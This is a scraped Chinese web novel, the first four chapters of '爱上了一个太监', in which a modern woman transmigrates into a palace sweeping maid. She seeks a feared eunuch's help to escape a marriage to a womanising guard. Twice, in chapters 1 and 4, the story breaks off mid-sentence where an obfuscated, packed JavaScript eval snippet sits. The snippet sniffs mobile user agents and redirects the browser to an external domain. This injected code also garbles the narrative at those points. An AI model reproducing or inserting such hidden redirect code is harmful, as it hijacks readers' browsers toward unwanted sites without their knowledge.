《爱上了一个太监》 1. 第 1 章 姚砚云此刻只觉头呲欲裂,连眼睛都睁不开,她的喉咙干的,每吞一咽,皆如吞沙砾。 她用尽全身的力气想起身开个灯,给自己倒杯水喝。可在床边摸了很久也没摸到开关...... “啊桦,你醒了没有,帮我开下灯吧,我快渴死了.......” 啊桦是姚砚云的朋友,两人在同一家公司上班,也在一起合租房子。 “啊桦,你先别睡了,我好像是发烧了,很不舒服。我感觉我要去见阎王爷了。” “啊桦?” 见啊桦迟迟不回应,姚砚云想,她应该是去男朋友家了。 蓦地,一把陌生的女声传入她的耳边。 “吵什么吵!大半夜的还让不让人睡了!” “做个人吧!” 姚砚云一惊,心想家里莫非进贼了,她哆哆嗦嗦在床上摸自己的手机,想去报警。由于情绪过于激动,她一下子又觉得四肢无力,好不容易坐起来的身子,一下子又倒在了床上。 在黑暗中,她忽然看到一支蜡烛被人点亮,持烛人穿着一套白色像睡衣一样衣服,散着一头黑发,正在一脸怒气地看着她。 蜡烛的光瞬间把整个房间照亮,可这个房间不是她的。 “你是谁。”,姚砚云虚弱地问,声如细蚊,“我为什么会在这里。” 对方并没有回答她,只是不情不愿地拿起一个碗,倒了一碗水来到了她的床边,有些粗鲁地把她扶了起来。 “真的倒了八辈子霉了我!”,说完把水慢慢送到了姚砚云的嘴边,“你也有今天,哼!” 姚砚云实在太渴了,嘴唇碰到水的一瞬间,她就下意识喝了几大口。 可很快她就想到,这贼人不会在水里下了迷药吧.....等她晕过去了,打电话勒索她家里人。 因为恐惧,她一下子就哭了出来,“这位姐姐!求求你放过我吧,我就是一个普通的打工人,我真没钱。你既然能把我绑到这里,想必你是调查过我的情况的,我住的是八百块一个月的城中村,还得和我朋友分摊的情况下才住得起,吃的都是十块钱一份猪脚饭,我家里更是没钱。” 那人把碗放到一边,“姚砚云!你是不是疯了!胡言乱语什么啊你。你不睡就到外面站着去,别打扰我睡觉。” 说完就起身走到一旁的床去睡觉了。 她竟然知道她的名字,可她却从未见过她啊,而且从她的话语中可以听出,两人貌似是认识的,并不像是绑匪之类的坏人。 姚砚云拿起那个烛台,对着房间仔细照了照,这房子的格局,这床,这桌子凳子不像是现代的风格,反而很像她看的古装剧里面陈设。 她又拿着烛台推开了房门。 夜幕中,她看到了一排排青砖灰瓦的墙,用力揉了揉眼睛,眼前的一大片房屋,一点都不像现代建筑。 姚砚云喃喃自语,“这到底是个什么地方啊。” 她立马回到房内找到一面铜镜,哪怕是在不怎么光亮的情况下,她依然看得出这张脸和她自己的脸完全不一致。 又急忙摇醒那姑娘,她问了她足足一个小时,她才知道自己穿越了...... 她穿越了,不是京城贵女,而是一个扫地的小宫女! 她的原身也叫姚砚云,三天前不知道怎么了,忽然坠了湖,就一直昏迷着,等醒来的时候她就来到了她这具身体上了。 “对了,你叫什么名字?”,姚砚云心想,来都来了,先活下去再说,至少要把自己身边的人了解清楚。“我可能是失忆了,很多事情都记不得了。” 那姑娘回,“我叫马冬梅。” 从方才一系列的反应来看,她的原身和马冬梅是不合的,可同在屋檐下,低头不见抬头见的,能多一个朋友的话,何必多一个仇人呢,至于她们两个之前有什么矛盾,只能以后慢慢去了解了。 经过了一小会的头脑风暴,姚砚云知道,要想尽快融入这个地方,这个马冬梅是她最快的捷径,笑了笑,“冬梅,我们是住一个房间的,以后请多多指教。” 马冬梅眼神中尽是惊讶,她盯着姚砚云看了好一会儿,“你不会又在憋什么坏招吧?,我还想过几天安生日子。” —————— 每日掌事宫女,都会给宫女们分配当日差事,姚砚云和马冬梅是等级最低的打扫宫女,分到的差事自然是扫地有关的。 紫禁城四面的城墙,包括城墙上的走道、城楼。午门、神武门、东华门、西华门,四个城门的门洞、门楼、瓮城等区域,就是她每日工作的地点。 不过所幸负责这些的宫女不算少,所以她也应付的过来,下午大概在四点到五点的时间,是她一天中最清闲的时候,她一般会走上西华门附近一座矮城楼那边坐坐,打发一下时间。 姚砚云这会儿正抬头往地面看,不出所料她又看到那个逗猫人了。 只见那人穿着红色织金蟒袍,袍身绣有四爪坐蟒,腰间的佩玉銙雕龙纹边缘镶金丝,粉底乌靴,腰间挂有象牙牙牌。她虽不知道他的具体官职是什么,但通过这一身服饰判断,他定是个大官。 不对,应该说是大宦官。 因为那人是个太监。 她已经连续三天看到他在这里逗夜猫了,虽然他每次都是背对着她,但看的出来这人是个十足的猫奴。 每次都是抱着它们来投喂,喂完之后,总是很温柔地摸着小猫脑袋,抚摸完之后又把那小猫当成婴儿一般斜抱着,摇摇晃晃地似乎在哄小猫们睡觉。 今日她依旧是在城墙上看着他完成了这一系列的动作。 忽然,那人转着头开始四处张望,吓的姚砚云赶紧低下身子去。 等她再次起身看向地面之人时,她笑出了声。 只见那人把一只白猫圈进怀里,低头埋进猫颈窝贪婪地吸气。 原来是吸猫不好意思啊...... 姚砚云看了看天,想到一会儿还得去做掌事宫女交代的事情,就下了城楼。 “公公,王公公那事?”,一位穿着青色袍的太监,神色紧张地看着对面之人,“还请您定夺.....” 张景和把怀中的猫放下地面,“今天就送他上路吧。” 对面之人还以为自己听错了,神色已经从紧张变成了惊恐,“可是王公公他,他,他。” 话还没说完,张景和嘴角带点笑意,打断他道,“你想做好人啊,那不如你替他去死?” “公公我错了,公公饶命,公公饶命。”,只见那人猛然跪了下来,一直双手交替着扇自己的嘴巴。 姚砚云从厨房拿了晚饭回自己的屋子里面吃,一进门就看到马冬梅已经在桌上吃上饭了,通过这段时间的相处,她是看出来了,马冬梅似乎不单只不喜欢她那么简单,反而是很害怕她。 但她觉得在宫里的生活本就是枯燥无趣,她还是想要一个能陪自己说话的人,就算两人最后不能成为知己好友,至少也能解解闷啊,而且她感觉得到眼前这个和自己年纪差不多的姑娘,还算是个老实人。 “冬梅,我这边有肉,我们一起吃呗。”,姚砚云在她的身侧做了下来。 马冬梅立即把凳子拉远了些,不想和她靠太近。 见她实在不想理自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325942|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姚砚云也只能自顾自地吃饭了。 马冬梅比她先一步吃完,正准备换外衣,在她脱袖口的时候,姚砚云看到她右手前臂处有很多处淤痕,看样子像是被人打的一样。 姚砚云起身道,“你手上怎么了。” 谁知,姚砚云刚问完,马冬梅就“哇”的一声哭了出来。 “你别在这里装好心了!” “你这人怎么这样啊,我关心一下你还有错了?”,姚砚云此时也恼了,“好心当驴肝肺。” 马冬梅擦了擦眼角的泪,“你凭什么这样说我啊,你把我打成这样,还搞的像我对不起你一样,我告诉你,我不怕你!你还有什么招数就赶紧来,大不了大家一起死。” 姚砚云听她讲完眼睛瞪的和铜铃似的,这人莫不是得了失心疯,这段时间她话都没和她说几句,她看了她,就像老鼠见了猫似的,自己哪里有机会打她。 她刚想反驳,忽然想到,很有可能是她的原身打的.....毕竟从马冬梅这段时间的表现来看,她的确是对她避之不及......她是万万没想到自己的原身既然能做出这种事情来。 姚砚云又走近了一些,从她醒来到今天已经过去十天了,这淤青还那么深,想必马冬梅当时是受了很多苦的。 “对不起,我......我和你保证我以后不会这样做了。”,姚砚云一脸诚恳地看着马冬梅,“其实你应该也看得出,我最近一直想亲近你,说实话我自从醒过来之后,好多事情都不记得了,如果以前我做了伤害你的事情,我和你道个歉。” 马冬梅有些无措地看着姚砚云,“真是太阳打从西边出来了,你不是看不起我这种人吗?说我是村姑。” 姚砚云道,“大家都是在宫里当差的苦命人,我当时不应该这样说你的。” 马冬梅见她性格大变,还以为自己是做梦,她用手捏了一下自己的大腿,确认了有知觉之后才道,“你是不是鬼上身啊。” “之前打你骂你的确是我不对。”,姚砚云道,“大家同住一屋檐下,我还是想和你好好相处的,不过你要是不能接受我的道歉的话,那我也能理解,我以后也不会缠着你,总之对不起。” 许久马冬梅都没说话,姚砚云也理解,毕竟她的原身实在太过分了,又骂人村姑又打人,换成她,她都不一定原谅。 姚砚云见事情已经没有回旋的余地,便打算出门了。 “你以后真不会再欺负我?”,马冬梅忽然叫住了姚砚云。 姚砚云笑道,“绝对不会!我对天发誓。” 马冬梅道,“那我暂且相信你一次,不过我也不怕你,大不了一起死。” 姚砚云一把抱住了她,“谢谢你冬梅,以后我们做好朋友。” 之后两人就坐在床边聊起了天,姚砚云也因此知道了更多关于原身的信息。 她的原身,原本是在宠妃德妃身边当差的,凭借着机灵劲还做到了贴身宫女的位置,很得德妃的喜欢,可她仗着德妃喜欢,行事作风异常的高调,不知不觉得罪了德妃宫里的其他宫女。 其他宫女见她长的漂亮,又得德妃的宠幸,加上她又时不时打压下面的人,索性联合起来一起对付她。 一天,一名宫女和德妃告状,说无意间看到了她和当时来寝殿看望德妃的皇上,眉来眼去的。德妃当即就气的摔了东西,又安排人告状说她欺负下属,独吞赏赐,于是德妃就把她赶来了这边做打扫宫女。 姚砚云道,“我人品这么差吗。” 马冬梅道,“还不止呢,你做过的缺德事可多了。” 姚砚云,“......” 2. 第 2 章 秋分早已过去,天气已沁出凉意。 晨起的薄雾尚未散尽,姚砚云已经把她负责的东华门这一块的地面打扫干净了,她伸了懒一会儿腰,连打了好几个哈欠后,就准备去找马冬梅一起吃早饭了。 蓦地,一双苍劲有力的大手,从背后环住了她的腰肢,还没等她反应过来,对方的头就埋进了她的颈窝,“啊云,我好想你,你这段时间想我了没。” 姚砚云猛然挣脱,转身拿着扫把,做势就要打上去,大声呵斥,“死变态!你是不是有病啊!我告诉你这可是皇宫,敢调戏宫女,你就等着挨着板子吧。” 姚砚云说完这一番话,才看清楚了对面之人,身材颀长,穿着一身青色明甲,腰间系皮甲带,佩腰刀,看样子是个侍卫。 “啊云,你可是在怪我?”,陈忠义又走前了几步,想把姚砚云揽在怀里,“我前段时间是去出公差了,才很久没来看你,听说你还生了病,可还好些了。” 姚砚云连连后退了好几步,用扫把指着他,“你有话就好好说,不要动手动脚!” “那我不动,啊云你就别气了。”,陈忠义一脸柔情地看着姚砚云,“是我不好,我给你带了礼物。”,说完从袖口拿出一个精致的小木盒。 姚砚云心想,这人不会是她原身的男朋友吧!从他的话语和动作上来看,两人的关系的确挺亲密的,这可怎么好啊...... 见对方一脸柔情地看着自己,现在她又不清楚实际的情况,姚砚云只能先接过木盒,“我收到了,你先回去吧。” “那我先走了,我下次再来看你。”,陈忠义一步三回头地走了...... 姚砚云打开木盒子一看,里面是一枚金丝编织的同心结…… 姚砚云赶紧去找马冬梅,她想知道这男的到底是什么来路。 两人见上面后,马冬梅就把她和陈忠义的事说了。 宫女到了二十五岁就可以出宫了,到了出宫的年纪,一般在双方情愿的情况下,可以由皇上指婚,指婚的对象一般都是太监和侍卫。 当然这个情愿不情愿也是可以靠宫里的大宦官来暗箱操作的,因为最终的指婚名单是大宦官提交上去的。 她的原身姚砚云,被德妃赶出来之后,就和这个陈忠义有了来往。 因为长的漂亮,陈忠义在巡逻的时候就注意到了她,两人一来二回就熟了,久而久之两人相互生出了爱意。 前段时日,她眼看还有三个多月时间自己就可以出宫了,于是她偷偷给了负责此事的太监一笔钱,收买了他,希望能帮她促成此事。 陈忠义今年二十七岁,考中过举人,如今在宫中担任金吾卫,家中做药材和当铺生意,是京师小有名气的富商。 “听起来条件还不错。”,姚砚云想了想又问,“不对啊,他都二十七了,竟然还没娶妻子?” 马冬梅道,“他去年刚死了妻子。” 姚砚云,“......” “怎么了,你以前不是还和我炫耀吗,还说我这辈子都够不到这样的人。”,马冬梅坏笑着道,“而且他府里还有三个小妾呢。” 姚砚云听完只觉得天都塌了...... 她一开始还想不明白,她的原身和陈忠义明明是两情相悦,为何还要费钱费力去讨好一个宦官,求得皇上的指婚呢,现在她明白了,这陈忠义是个花花肠子,她要想稳住自己的地位,还有什么比皇上赐婚更有用呢。 对于她的原身来说,能嫁给陈忠义或许是个不错的选择,家境富裕,又在宫里任职,至少不愁吃喝了,可她是个现代人啊.....她怎么能接受一夫多用...... 她可不想每天两眼一睁,就是去想她的夫君去哪房小妾屋子去了。 三个小妾啊,三个啊...... 姚砚云按了按眉心,“冬梅,那个公公叫什么名字来着,我要找他取消掉这门婚事。” 马冬梅道,“负责这个事的公公啊,前几天被打死了。” 姚砚云,“......” 马冬梅想了想道,“那份名单,现在也不知道在谁那边,不如你去找张公公试试?” “张景和张公公,是司礼监执笔太监,我听说他很不好惹,你小心点。” 姚砚云翻箱倒柜找了好久,把她原身之前积攒的绝大部分积蓄都全部放在布包里,打算献给那个张公公。 “你全给张公公了,你出宫之后还怎么活啊?”,马冬梅见姚砚云把绝大部分的钱和首饰都放进了布包里,只留出了一点自用。 既然那位张公公都做上了司礼监执笔太监,小钱肯定是入不了他的眼的,只要能取消这门婚事,就算是全部钱都抛出去,她也是愿意的。 “只要能取消这门婚事,多少钱我都愿意花。”,说完就出了门找那位张公公去了。 到了司礼监衙门后,姚砚云十分恭敬地和把守在大门处的四名锦衣卫说出了,她有事想找张公公。其中一人和她说,张公公不久前去东厂了。 姚砚云只能先行离开了。 下午时分,她把差事干好之后,又来了一次司礼监衙门,之前那位锦衣卫和她说,张公公还没有回来。 她只能站在门口等着,可等了将近一个时辰,竟然没看到有一个人出入司礼监。 之后马冬梅来找她了,说她们的姑姑有事安排她们做,姚砚云就和马冬梅一起离开了。 把好几马车的新鲜瓜果蔬菜搬到御膳房之后,天已经开始黑了,马冬梅叫姚砚云一起去吃晚饭,可她哪里有心思吃,她得尽快找到景和取消婚事,不然等上报给皇上,她再想反抗的话,那就是抗旨,是要杀头的。 马冬梅道,“我和你一起去吧,之后再一起吃饭。” 姚砚云叹了口气,“你先去吃,我今天都去司礼监衙门两回了,都没见着这张公公。” 于是姚砚云又到了司礼监衙门。 还是前两次那名锦衣卫,他告诉姚砚云,“张公公,一刻钟前刚走。” 姚砚云道,“大人,我有很急的事情要找张公公,你能告诉我,我该去哪里找他吗。” 那锦衣卫见姚砚云长的好看,又态度恭敬,就告诉了他,“你可以去那边公所找张公公试试,见不见你,我就不敢保证了。” 姚砚云连连和他致谢。 司礼监衙门不远处的东 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姚砚云动情地说了一通,可坐在太师椅上面之人,却一声不吭,她小心翼翼地抬起头,只见张景和,双手环在身前,面无表情,用枯木般的眼神盯着她。 姚砚云一下子就慌了...... 来都来了,那也只能硬着头皮说下去了。 姚砚云这会没有低着头,而是直接看着张景和说的。 姚砚云又把桌上那布包递到张景和手上。 姚砚云道,“公公,这些是我在宫中大半辈子的积蓄,是我孝敬您的。” 张景和道:东西我收到了,你可以走了。 姚砚云:? “公公,求您救救小云吧,我不想嫁给陈侍卫。” 张景和冷笑一声;“不想嫁啊,那你便去死吧。” 姚砚云:...... 这傻逼太监,只收钱不干事是吧。 姚砚云刚想说些什么,门外忽然有太监通报,“公公,万岁爷这会儿正找你。” 张景和起身道,“我这就去。”,走了几步又转身和跪在地上的姚砚云道,“要跪的话,你就跪个够吧。” 之后头也不回地走了。 姚砚云心灰意冷地回到了自己的房间,她万万没想到这个傻逼太监竟然那么难搞,她都已经把全部积蓄都给了他了,还要她怎么样?如果嫌钱不够他也可以说啊,她会去想办法,可是那个傻逼太监,直接一句话把她堵死了! 她又把今日发生的事告诉了马冬梅,马冬梅也是为她感到担忧,她凑到姚砚云耳边低声地道,“我听好多人说过张公公心狠手辣,要不还是算了吧。” “要我嫁给这么一个烂黄瓜,我还不如死了算了!”,姚砚云今日在东华门那边打扫的时候,还特意问了在那边巡逻的侍卫,有几个人是认识陈忠义,在她的重重套话之下,她还知道了一个更逆天的事情,这陈忠义还是青楼那边的常客! 姚砚云啊姚砚云,你可把我害惨了! 不过她很快就冷静了下来,她心想,无论如何都要取消这个婚事的,而那个傻逼太监就是她唯一的希望,不管用什么办法,她都得求得那个太监帮她! 3. 第 3 章 干完了安排的差事,过了黄昏之后,只要她们的姑姑不给她们事情做,就算是结束了今天的差事了,这会儿姚砚云和马冬梅就在厨房这边忙活了起来。 姚砚云决定今天再去找一次张景和,钱是没有了,只能送些吃的过去,马冬梅之前又在厨房帮忙过,很会做糕点,所以打算做一份枣泥酥饼给姚砚云,让她送给张景和。 姚砚云进大厅前深深吸了一口气。 “公公,这是我做的枣泥酥饼,您尝尝。”,姚砚云站在张景和身前,见他没有回话,她直接打开了食盒,把那盘枣泥酥饼拿了出来。 姚砚云抬起头来看他,对上了他那暗淡无光的眼神,下一刻,只见对面那人用看傻子一样的眼神看着她...... 姚砚云心想,这傻逼太监到底是得了面瘫!还是哑巴了?没办法,她只能硬着头皮和他硬聊下去。 “这是我做了一个多时辰才做好的,公公您试试。”,姚砚云微微一笑,拿起一块酥饼递到了张景和面前。 “公公,您是不是怕我下毒啊?那我先吃一块给你看下。”,说完拿起一块枣泥酥饼咬了一口。 “下毒?你敢吗?”,张景和开口道,“就凭你。” 姚砚云连连点头,“公公您说的是。” 张景和道,“怎么,还在为昨天事情而来?” “不是的,我是想着昨天冒昧打扰了公公,今天特意做这些糕点来赔罪的。”。姚砚云维持着笑脸,“希望公公您大人有大量,原谅小云一次。” 张景和喝了一口茶,“知道冒昧还来打扰?” 姚砚云冷汗都出来了,这傻逼太监怎么那么喜欢装呢!她要是没事能来这边找他吗,那个名单既然还没有提交上去,他只要把她的名字划掉就行了,这么简单的事,他为何要这样处处为难她呢!而且也没让他白干啊,她已经把原身在宫里的积蓄全都给他了。 “公公,我,我今日来就是单纯给你送枣泥酥饼的,没其他意思。” 张景和嘴角向上挑着,眼角全是冷意,“姚砚云,我只是个下贱的阉人,我何德何能敢吃你做的东西呢。” 姚砚云道,“大家都是在宫里当差,都不容易,没有谁更高贵,谁更下贱之说。” “真没想到,许多时日不见,姚砚云你竟变的谦虚起来了。”,张景和看着姚砚云道,“我还当真有点不认识你了。” 姚砚云被他说的一头雾水,难不成他们之前有过交集?她连忙道,“公公,您要是不喜欢吃枣泥酥饼,我明日再给您送别的过来。” 张景和道,“既然这酥饼已经送到了,那就赶紧走吧。” 姚砚云说了一句,“公公,那我就不打扰您休息了。”,之后就退出了大厅。 姚砚云走后,吉祥走了进来,吉祥是张景和的心腹太监。 看了看桌上的枣泥酥饼,“老爷,这姚砚云怎么还敢来找你,她忘记自己之前做过什么事情了吗,真是可笑。” 张景和看着那盘枣泥酥饼,“把这玩意给我倒了。” 姚砚云回去后,心情十分低落。这傻逼太监真的不好糊弄啊。 马冬梅安慰她道,“要不我明天做点新花样,你继续给张公公送去。” 姚砚云道,“也只能这样了。” 她要钱没钱,要权没权,作为一个最底层的小宫女,她还能怎么办呢。 翌日中午,姚砚云正独自收拾城楼上的洒扫工具,收拾完就和准备冬梅吃一起午饭。 明明还不到冬季,可姚砚云这几天总是觉得凉意十分明显,晚上睡觉时马冬梅觉得热,她反而觉得被子不够暖,这会儿她就打了一个小小的寒碜。 就在她准备下楼时,忽然有人紧紧抱住了她的腰,她刚想反抗,双手被猛地攥住,对方粗粝的指腹正在她的手背轻轻摩擦。 “啊云,最近这天开始变凉了,你记得穿多点。”,湿热的呼吸扫过她的耳垂,沾着些微胡茬的下巴在她颈侧蹭了蹭。她浑身的汗毛都竖了起来。 姚砚云怎么会认不出这是陈忠义的声音,听到他那黏腻的声音,她几乎要呕出来。 她用了很大的力气才挣开他的束缚,又连连后退了好几步,“你给我放尊重点!” 陈忠义看着她因为愤怒而变的涨红的脸,微微翕动的红唇,还有那上身因为喘息而起伏的曲线,瞬间觉得更心动了。 他喉结猛地滚了滚,一段时日没见,他的啊云更美了。 他又往前了几步,“啊云,你还在为那件事情生气嘛?我不是答应你了吗,只要你帮我生了儿子,我就抬你为正妻。”,陈忠义道,“我都听你的,别生气了好么,我们以后好好的。” “我们很快就能朝夕相对了。” 姚砚云见他开了这个头,就索性把事情挑明算了。 “你能答应我以后不再娶小妾,不再去青楼吗?” 陈忠义像是听到什么笑话,先是一愣,随即嗤笑出声,“啊云,你这未免太苛刻了吧,自古以来,有本事的男人有个三妻四妾不是很正常的事情吗,这是本事,是体面!” “你无需在意这些的,等你为我生下儿子后,你就是我唯一的正妻,府里上下谁敢不敬重你?在我心里你最重要。至于其他人不过是逢场作戏罢了。” 姚砚云听完他这一发言,只觉得头皮发麻,她都想不出话来骂他了。 “我不管,除非你答应我,不然我是不会答应嫁给你的!”,姚砚云笑着反问他,“怎么?这难道对你很难吗?” “啊云,你在宫里当差这么久,你还看不明白这些事情吗?就比如京师这些官员们,从一品的阁老到九品的小吏,哪家后院没有三五个妾室。”,陈忠义一脸认真道,“就拿那些穷酸书生来说,一朝中了科举,头件事便是寻个年轻貌美的填房做妾,你就算没出过宫,你难道还没听过?。” 姚砚云没想到这人竟然那么厚颜无耻,她都快听笑了! “你说的其实也有道理。”,姚砚云道,“只是我不能接受,所以你还是另寻良配吧!” “我是不会舍弃我们之间的感情的。”,说完陈忠义得意地笑了起来,“你别忘记了,你之前可 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“你把这些不值钱的东西,往我屋子里放是做什么。”,张景和一脸嘲讽的表情看着姚砚云。 这傻逼太监果然是嫌弃她的东西不值钱!可她的钱前几天不是全部给他了吗?他是得了失忆症吗?他果然是在暗示她要送些贵重的东西给他,可她是最低级的打扫宫女,又不像他位高权重,有各种油水可捞。 “公公,您位高权重,想必这世间的华贵之物,就没有您没见过,没吃过,没用过的。”,姚砚云道,“我只是一个卑微的宫女,给您做这些糕点是我能做到的最大程度了,公公您要是喜欢吃,我明天继续给您做,您要是不喜欢吃,我明天再换个样式给你做。” 张景和笑了几声,“姚砚云,这嘴是越来越厉害了,我以前还是小看你了。” 他说话时并没有像其他太监一样,故意把声音搞的很尖,反而是和柔和,可这柔和的声音配上他那张冷漠的脸,依旧让姚砚云觉得浑身不自在。 “把穷酸样说的那么好听的,你还是第一个。” “我只收钱办事。”,张景和戏谑地打量着姚砚云,“难道你身上就没比这定胜糕更值钱的东西了吗?” 身上更值钱的东西,她一个低级宫女身上能有什么之前的东西,难道......难道这傻逼太监说的是......他想要她出/卖自己的的身体?原来是打这个主意? 这傻逼太监那玩意都没有了,还想干这事?他行吗?真是恬不知耻。 好在张景和之看了他几眼,就继续喝茶去了,看来他目前对她没这个想法,暂时安全。 “那公公您尝尝我这糕点?”,姚砚云伸手就要打开食盒。 “滚出去。” 张景和平静地说了一句。 这傻逼太监肯定是心理有问题!上一刻明明两人还聊的好好的,下一秒就翻脸了,姚砚云只能默默把食盒的盖子盖上。 姚砚云恭敬地道,“那公公您好好休息,我就不打扰您了。” 4. 第 4 章 自从那日在城楼上遇到陈忠义后,姚砚云去哪里都要马冬梅陪着。 两人忙完了一天的活后,就又去了厨房做糕点去了。 可惜姚砚云去公所找张景和时,有个小太监和她说,张景和今晚出宫了,不在这边留宿。 满满一盒子糕点,只能带回去和马冬梅一起吃了。 两人沏了一壶茶,坐在门口外面的石阶边吃边聊了起来。 姚砚云道,“冬梅,你是几岁进宫的。” “五岁还是六岁,我不记得了。”,马冬梅抬头看了看天,有些感慨,“原来我在这宫里已经呆了二十年了。” 姚砚云道,“我之前的事全忘了,那我是几岁进宫的?你知道不。” 马冬梅想了想,“好像是十二岁。” “你出宫后,有什么打算吗?”,姚砚云有些好奇地问,“是回去找你父母给你说门亲事呢,还是继续留在京城这边。” “我爹娘已经不在人世了......我家就剩下我一个人了。” “我,其实也不知道出宫后要去哪里。”,马冬梅脸上闪过一抹悲色。 姚砚云拉过马冬梅的手紧紧地握着,“冬梅,你别难过,反正我们出宫时间是一样的,你要是愿意的话,就和我一起过,我们两个人有手有脚的,加上到时候宫里还会给我们一笔钱,总饿不死的。” 马冬梅听完两眼发红。 “姚姐姐,快别吃了,轮到你值班了。”,来了一位年纪看起来十五六岁的宫女。 “怎么这么快就轮到我了。”,姚砚云喃喃自语。 宫里前段时间来了个波斯美人,很受皇上的宠爱,进宫没多久就被封为懿嫔了,那懿嫔因为看到尚服局,给她做的衣裳上有芍药花,就随口和皇上说了句喜欢芍药花,于是皇上连夜安排人搜寻了两百多株的芍药花,放在宫里给那波斯美人看。 因为现在不是芍药花期的月份,容易凋谢,得好心养活着,那二百多株的芍药花是养在户外,为了避免被老鼠啃食,或者遇到下雨的情况,需要每晚安排人去看守。 这晚就轮到姚砚云了。 马冬梅道,“姚云,我陪你一起去吧。” 一旁的小宫女笑道,“姐姐急啥啊,明晚就到你了,这活你赖不掉。” 姚砚云想了想觉得也有道理,就让马冬梅先回去休息。 来到放芍药花的一处院子后,姚砚云就呆呆坐在木板凳上守着,虽是夜晚,但此处挂满了宫灯,加上外头有巡视的太监来回走动,她倒是不怕。 守了一个多时辰后,姚砚云眼皮就开始沉了下去,一旁的角落处,有一块干净的席子,想必是上一个守夜的人留在这边的,她二话不说就躺了下去。 时不时有晚风吹来,倒是让人觉得很舒坦,她抬头看着漫天星空,不自觉心情都好了起来,她已经好多年没看过这种景象了,星星这玩意,只在她儿时呆在农村的时候看到过。 可美好的心情,因为想到她和陈忠义的事情,一下子就烟消云散了,她得抓紧处理好这件事情,可那个傻逼太监一直给她使绊子,她又还没想到攻破的办法,其实她心想也明白,那傻逼太监就是想乘机多敲诈她一笔钱,钱她肯定是没有的了,只能给他送些糕点,做做狗腿子了。 或者实在不行就用最后一步--美人计,可那傻逼太监没那玩意,能对她感兴趣吗?而且万一那傻逼太监玩的很花,可怎么办好?想到这些,姚砚云起了一身鸡皮疙瘩。 伴随着夜幕中缀满碎银似的星子,姚砚云很快就进入了梦乡。 翌日一早,姚砚云回去补了一小会觉,就又被安排去做其他活了。 她和一群宫女和小火者,负责把西华门那好几车的蔬菜瓜果拉到御膳房。 路上,姚砚云问其中一位看起来也就十二三岁的小火者,“小公公,你可认识张景和张公公?” 那小火者道,“谁不认识张公公。” 姚砚云道,“那这张公公是个什么性子的你可以知道?你可知道他有那些普通人的爱好?就是不怎么需要银子的爱好。” “嘘!”,那小火者把食指放在嘴边,“你怎么敢这般光明正大打听张公公私事,小心惹祸上身。” 被那小火者小说,姚砚云也不好问下去了。毕竟这是那个傻逼的太监的私事,别人的确不好说。 这时另外一位小火者上来搭话,“怎么,你还想搭上张公公啊。” 姚砚云也不隐瞒,她直接说了是的。 “那你可得加把劲了,张公公不止在司礼监担任执笔,还是东厂提督呢,万一真攀上了,随便给你安排到那个娘娘宫里当差,那你的日子可就好过了。”,那小火者尖着嗓音道。 日落时分,姚砚云又去了一次张景和的公所,一位小火者和他说,张景和今晚和明晚都不会在这边。 姚砚云失落地走了,更让她绝望的是,她之后连续的四天都没见到张景和。 ———————— 这日晌午,姚砚云在回宫房的路上,遇到了张景和公所里的小火者,他见姚砚云日日不停来找张景和,想必是有什么急事,就好心和她说了一下,张景和今晚回在宫里留宿。 姚砚云连连和那位小火者道谢。 晚上,姚砚云提了绿豆糕过来。 可她刚走到院子处时,就听到一阵痛苦的呻/吟声,她的心''''砰砰砰''跳了起来,她没想到这傻逼太监玩的这么花,她想想今晚还是不找他了,可细细一听,那声音貌似又不是她想的那样的。 “老爷,我这就去叫太医。”,吉祥担忧地看着张景和。 “不用,这些庸医要是有用,我也不会被这头疾折磨这么多年了。”,张景和斜倚在太师椅上,泛白的手背抵着颧骨,面容痛苦。 “你出去吧。”,张景和强压着剧痛开口。 “老爷......还是叫下太医吧。”,吉祥小心翼翼地问。 “我叫你出去。”,张景和怒道。 “老爷.....” “滚出去。”,话毕,一只细瓷茶杯重重摔落在地。 姚砚云在门外看着这一切,也是心惊肉跳,她刚想拔腿跑,可下一秒她就犹豫了,因为她想起,她之前有给偏头痛的奶奶按摩头部的经验,是一名老中医教她的手法,每次按摩过五分钟左右,痛感明显减轻。 等吉祥走出房门后,她连续深呼吸了好几次,才走了进去。 “谁叫你回来的。”,张景和一声呵斥。 姚砚云冷汗都被吓出来了,她在心里安慰自己,一定要把握住这次机会,如果真能帮能她,自己的事情也就成了。 她轻悄悄地走到他椅子身后,看了好久,才找到他的头部率谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325945|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴,她记得这个穴位,就在她的指腹碰到他的一瞬间,张景和又是一声呵斥。 吉祥看到这一幕脸都吓白了,他想进来拖姚砚云出去,姚砚云对他做了一个手势,意思是让她试一试。 于是吉祥全程紧绷地看着姚砚云。 张景和转身一看发现是姚砚云时,原本半眯的眼睛突然睁圆,眼白里渗出了血丝,“你好大的胆子!滚出去。” “公公您别误会,小云是看您被头痛折磨的实在难受,想来帮您缓解一下。”,姚砚云道,“我会一种缓解头痛的按摩手法,公公您让我试试吧,” “赶紧给我出去。”,张景和紧握着扶手,青筋暴起。 “我不走。”,姚砚云一脸悲痛地道,“我不想看到公公您那么难受。” “出去!”,张景和此时已经有气无力。 姚砚云再也顾不了这么多了,她的指腹又重新按住了他的率谷穴,有节奏地帮他按/揉着,一开始张景和还在反抗,慢慢地,他似乎也感受到了症状的缓和,便任由她在他头部各处按/揉着。 